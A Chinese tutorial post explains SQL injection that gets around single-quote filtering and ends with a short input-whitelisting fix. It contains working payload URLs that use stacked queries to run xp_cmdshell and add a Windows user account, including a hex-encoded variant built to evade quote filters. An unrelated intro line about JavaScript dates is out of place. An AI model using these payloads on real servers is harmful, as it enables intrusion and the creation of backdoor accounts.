sql绕过单引号限制继续注入的解决方法

发布时间:2021-01-02编辑:脚本学堂
为大家介绍一个Javascript将Date转化成毫秒数的测试代码,有需要的朋友,可以参考下。

在防范sql注入时,对变量过滤不足甚至没有过滤而构造畸形sql语句,极有可能被成功注入,比如下面这行sql,相当轻松就注入成功了:
 

复制代码 代码示例:
http://www.jb200.com/show.asp?id=1;exec master.dbo.xp_cmdshell 'net user angel pass /add';--

大家可能觉得变量过滤了'就可以防止SQL Injection攻击,仅仅过滤'是不够的,在'被过滤的情况下我们照样玩,看下面语句:
 

复制代码 代码示例:
http://www.jb200.com/show.asp?id=1;declare%20@a%20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;--

是不是跟上面的那句有很大区别?可是效果完全是一样的,其实这些都是SQL语句。
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400

这句是“net user angel pass /add”的16进制格式。
先声明一个变量a,然后把指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:
 

复制代码 代码示例:
declare @a sysname
select @a=
exec master.dbo.xp_cmdshell @a

解决办法:
过滤变量,限制只允许输入特定字符。
比如对于数字类型的变量就限制只能输入数字类型的数据。

具体在程序中的操作方法,大家在编程时自行实践与总结,从细节入手,对于防范sql 注入务必处处用心啊。